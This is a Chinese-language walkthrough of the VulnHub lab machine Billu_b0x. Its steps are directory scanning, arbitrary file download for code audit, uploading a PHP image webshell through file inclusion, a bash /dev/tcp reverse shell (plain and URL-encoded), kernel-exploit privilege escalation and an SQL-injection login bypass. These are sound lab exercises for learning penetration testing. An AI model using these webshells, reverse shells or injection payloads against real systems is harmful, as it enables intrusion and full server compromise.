0%

VulnHub靶机writeup--Billu_b0x

前言

最近闲来无事,觉得自己学习理论知识太多,实验做的比较少,就在VulnHub上下载靶机来做一做,感觉VulnHub上有些靶机挺有意思的,取得root的方式也不唯一,这篇博客是VulnHub系列的第一篇writeup,之后也会把自己做的wp分享上来。

正文

下载靶机Billu_b0x到本地,用VMware打开,设置网络为NAT,和kali同属于一个网段。

进行主机扫描和端口扫描

d7tGwR.png

发现靶机开启了http服务,用dirb进行目录扫描

dirb http://192.168.2.133 /usr/share/dirb/wordlists/big.txt

根据扫描结果可以看到网站还有phpmyadmin服务,同时扫描根目录下文件有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
http://192.168.2.133/add

http://192.168.2.133/c

http://192.168.2.133/head

http://192.168.2.133/in

http://192.168.2.133/index

http://192.168.2.133/panel

http://192.168.2.133/show

http://192.168.2.133/test

查看网站突破点

网站主页面:

d7a06U.png

主页面需要登陆,尝试爆破和万能密钥没用,看其他页面

d708mD.png

上传文件没用,猜测是个静态页面,迷惑用的

d70tkd.png

phpinfo信息

d702hn.png

这里提示file参数为空,尝试get提交无用,post提交:

d7BA3t.png

通过此处将网站上的已经扫出来的文件下载,进行代码审计

d7DVi9.png

在c.php文件中可以看到数据库的账号密码,通过前端phpmyadmin登陆

d7DTY9.png

在数据库ica_lab下的auth表中发现网站主页登陆的用户名密码

d7s38A.png

这里发现可以通过phpmyadmin执行SQL语句,并且可以通过phpinfo知道网站绝对路径,想通过SQL写入webshell,但是发现权限不够

d7x8RH.png

上传图片马取得webshell

换一种思路,通过刚才得到的用户名密码登陆网站主页:

dHEOiR.png

在主页发现文件上传点,是用来上传用户图像的,之前爆目录的时候知道这里的路径为网站根目录/uploaded_images/图片文件

dHfFMQ.png

这里可以制作一个图片马来上传:

  1. 写好php代码

    1
    <?php system($_GET['cmd']);?>
  2. 利用cmd来制作图片马

    dbFafx.png

将图片马上传

dbFong.png

图片马上传了,还需要文件包含漏洞得把这个图片让后端当成php来解析,之前在代码审计的时候,发现在panel.php有文件包含漏洞:

dbkPE9.png

测试一下——不成功,没反应

猜测是因为图片太大,php代码加在图片末尾,没加载出来。

太坑了,在网上找了好久,终于找到一个图片大小比较小的,测试成功

dbJK4P.png

可以看到这里的权限是www-data

反弹一个低权限shell

构建一个shell反弹出来:

echo "bash -i >& /dev/tcp/192.168.2.132/4444 0>&1" | bash

这里要进行url编码:

echo%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.132%2F4444%200%3E%261%22%20%7C%20bash

dbjshD.png

然后在终端中用nc监听

dbj2jA.png

提权

拿到shell之后,要进行提权到root权限,使用uname -acat /etc/issue来查看系统内核版本,考虑使用本地溢出漏洞来进行提权

dbvAD1.png

下载exp:https://www.exploit-db.com/exploits/37292

注意的是网站根目录没有写权限,但是在/uploaded_images/是一个写权限目录

为了上传文件方便,这里再写一个webshell用菜刀连上

dbzDA0.png

直接把exp拖进去就可以了,然后编译执行,提权到root

dqSS4f.png

总结

这个靶机总体来说比较简单,但是渗透的时候也遇到了一些坑,增长了很多经验,值得初学者学习学习。

番外

另外两种突破点:

  1. 在test.php文件任意下载漏洞中,可以通过phpmyadmin的配置文件获取root密码,需要猜路径,根据爆破出的目录,该配置文件所在路径为:/var/www/phpmy/config.inc.php

    dqCfxO.png

    打开文件,可以看到root的密码是roottoor,直接ssh连接即可

    dqCTZd.png

  2. 根据代码审计,在对首页登陆index.php的尝试SQL注入绕过

    dqPsl8.png

    则payload为'or 1=1 --\'(这里不太明白,或许就是or把pass和uname弄没了,导致where 1,最后查出数据库结果?)

    dqiGhq.png

    SQL注入绕过成功